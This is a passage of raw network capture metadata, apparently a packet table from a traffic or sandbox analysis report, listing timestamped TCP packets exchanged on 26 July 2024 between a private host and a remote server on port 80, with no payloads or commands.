Jul 26, 2024 15:25:04.087250948 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.087263107 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.087268114 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.087275028 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.087282896 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.087289095 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.087311029 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.088112116 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.088124037 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.088135004 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.088145971 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.088150978 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.088156939 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.088166952 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.088169098 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.088188887 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.088972092 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.088985920 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.088998079 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.089009047 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.089018106 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.089029074 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.089068890 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.089087963 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.090143919 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090157032 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090167999 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090178967 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090188026 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.090190887 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090209961 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.090621948 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090634108 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090645075 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090656042 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090665102 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.090667009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.090687990 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.091494083 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.091506958 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.091516972 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.091527939 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.091533899 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.091538906 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.091547012 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.091552019 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.091573954 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.092250109 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.092297077 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.110455036 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.116466045 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.116486073 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.116524935 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.116527081 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.116540909 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.116554022 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.116564035 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.116565943 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.116580009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.116585970 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.116612911 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.117347002 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.117358923 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.117371082 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.117382050 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.117392063 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.117393970 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.117414951 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.129806042 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.129820108 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.129831076 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.129841089 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.129851103 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.129862070 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.129877090 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.129892111 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.132805109 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.132817030 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.132827997 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.132838964 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.132848978 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.132869959 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.132884026 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.141278028 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.141292095 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.141330004 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.158355951 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.158463001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.158473969 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.158550024 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.158838987 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.158849955 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.158859968 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.158875942 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.158885956 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.158906937 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.159565926 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.159578085 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.159586906 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.159596920 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.159607887 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.159615040 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.159648895 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.160429001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.160440922 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.160450935 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.160460949 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.160469055 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.160473108 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.160506010 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.161416054 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.161427021 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.161437035 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.161451101 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.161465883 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.161475897 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.161484957 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.161489964 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.161498070 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.161505938 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.161550999 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.162368059 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.162379026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.162389040 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.162400007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.162409067 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.162410021 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.162430048 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.162482977 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.163346052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.163357973 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.163367987 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.163378000 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.163387060 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.163405895 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.163424969 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.174458027 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.174580097 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.174591064 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.174623013 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.175028086 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175039053 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175050020 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175060987 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175071955 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.175105095 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.175638914 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175651073 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175661087 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175671101 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175681114 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.175683022 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.175699949 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.180785894 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.180799007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.180809975 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.180821896 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.180831909 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.180839062 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.180845022 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.180857897 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.180874109 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.181608915 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.181622028 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.181632996 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.181643009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.181653023 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.181653023 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.181678057 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.183906078 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.183918953 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.183928967 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.183940887 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.183953047 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.183953047 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.183978081 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.183996916 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184007883 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184019089 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184030056 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184035063 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.184041977 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184052944 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184065104 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.184078932 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.184465885 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184477091 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184511900 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.184531927 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184544086 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184554100 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184566021 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.184571981 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.184600115 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.185332060 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.185343981 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.185359955 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.185369968 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.185379982 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.185383081 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.185393095 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.185398102 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.185421944 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.186307907 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.186320066 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.186331034 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.186342001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.186348915 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.186352968 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.186386108 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.187251091 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.187263012 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.187273026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.187283993 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.187293053 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.187294960 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.187308073 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.187315941 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.187340975 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.188080072 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.188091993 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.188102961 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.188112020 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.188122988 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.188127041 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.188133955 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.188139915 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.188163996 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.189678907 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189696074 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189707041 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189718962 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189728975 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189738989 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.189742088 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189754009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189760923 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.189785957 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.189893007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189904928 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189915895 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189928055 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189930916 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.189939022 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.189960003 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.246145964 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.246205091 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.246217012 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.246320009 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.246320009 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.246537924 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.246551037 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.246562958 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.246575117 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.246582985 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.246607065 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.247282028 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.247296095 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.247307062 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.247317076 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.247330904 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.247330904 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.247349977 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.248238087 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.248250961 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.248261929 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.248271942 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.248280048 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.248286009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.248294115 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.248297930 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.248332977 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.249129057 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.249142885 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.249154091 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.249165058 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.249175072 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.249178886 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.249197960 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.250022888 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250036955 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250047922 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250058889 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250070095 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250076056 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.250076056 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.250082016 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250096083 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.250937939 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250951052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250961065 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250972033 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250983953 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.250988960 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.250997066 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.251008987 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.251034975 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.251888990 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.251902103 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.251913071 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.251924038 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.251934052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.251935005 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.251962900 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.252839088 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.252852917 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.252863884 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.252873898 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.252882957 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.252887011 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.252893925 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.252901077 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.252919912 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.253781080 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.253793001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.253802061 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.253812075 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.253820896 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.253825903 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.253850937 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.254549980 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.254560947 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.254570961 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.254581928 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.254590988 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.254591942 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.254601002 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.254611015 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.254616022 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.254640102 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.255482912 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.255496979 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.255506992 CEST	80	49164	198.46.176.133	192.168.2.22
